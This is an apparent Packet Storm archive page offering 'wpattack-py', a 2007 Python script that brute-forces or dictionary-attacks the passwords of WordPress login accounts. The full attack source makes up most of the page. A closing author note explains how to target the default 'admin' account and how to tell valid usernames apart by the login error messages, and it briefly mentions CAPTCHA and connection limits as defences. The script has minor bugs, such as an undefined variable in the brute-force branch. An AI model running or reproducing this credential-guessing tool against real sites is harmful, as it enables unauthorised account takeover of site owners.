what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

wpattack-py.txt

wpattack-py.txt
Posted Jan 5, 2007
Authored by Kad

Brute forcing and dictionary attack script for Wordpress.

tags | cracker
SHA-256 | 81bca061625125a0ce7c95bc47a1a3f6b6fedd13b426a0c36d5c8c092265875e

wpattack-py.txt

Change Mirror Download
############## Source code #####################
#!usr/bin/python
# Flaw found on Wordpress
# that allow Dictionnary & Bruteforce attack
# Greetz goes to : NeoMorphS, Tiky
# Vendor : http://wordpress.org/
# Found by : Kad (kadfrox@gmail.com / #kadaj-diabolik@hotmail.fr)
import urllib , urllib2, sys, string
tab = "%s%s%s"%( string.ascii_letters, string.punctuation, string.digits )
tab = [ i for i in tab ]
def node( table, parent, size ):
if size == 0:
pass
else:
for c in table:
string = "%s%s"%( parent, c )
data = {'log': sys.argv[2],
'pwd': string}
print "[+] Testing : "+string
request = urllib2.Request(server, urllib.urlencode(data))
f = urllib2.urlopen(request).read()
if not "Incorrect password.</div>" in f: print "[!] Password is : "+mot ; break
node( table, string, size-1 )

def bruteforce( table, size ):
for c in table:
node( table, c, size-1 )

if (len(sys.argv) < 3):
print "Usage : float.py <server> <user> <choice> <dico-characters>"
print "\nDefault: User is 'admin'"
print "Choice : 1} Dictionnary Attack, use dictionnary file"
print " 2} Bruteforce Attack, use number of character for password"

else:
server = sys.argv[1]
if sys.argv[3] == "1":
a , b = open(sys.argv[4],'r') , 0
for lines in a: b = b + 1
a.seek(0)
c = 0
while (c < b):
mot = a.readline().rstrip()
data = {'log': sys.argv[2],
'pwd': mot}
print "[+] Testing : "+mot
request = urllib2.Request(server, urllib.urlencode(data))
f = urllib2.urlopen(request).read()
if not "Incorrect password.</div>" in f: print "[!] Password is : "+mot ; break
else: c = c + 1 ; pass
if sys.argv[3] == "2":
print "[-] Server is : "+server
print "[-] User is : "+sys.argv[2]
print "[-] Number of characters are : "+sys.argv[4]
number = int(sys.argv[4])
bruteforce( tab, number )
############## Source code #####################

The problem is : many time, the default user who is created is : admin, then you can try to crack the password, to stop that, you can use image confirmation or a limit for the connection (for example, only 5 tests).

To know if "admin" is the default user, you can try to go to the login page : http://site.com/wp-login.php and you try ; login : admin, pass : test (or anything else).

if "Wrong password" is printed on the page, the default user is admin, but if there is : "Wrong Username" then it's not the default password ;)

Kad'
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    29 Files
  • 21
    Aug 21st
    42 Files
  • 22
    Aug 22nd
    26 Files
  • 23
    Aug 23rd
    25 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close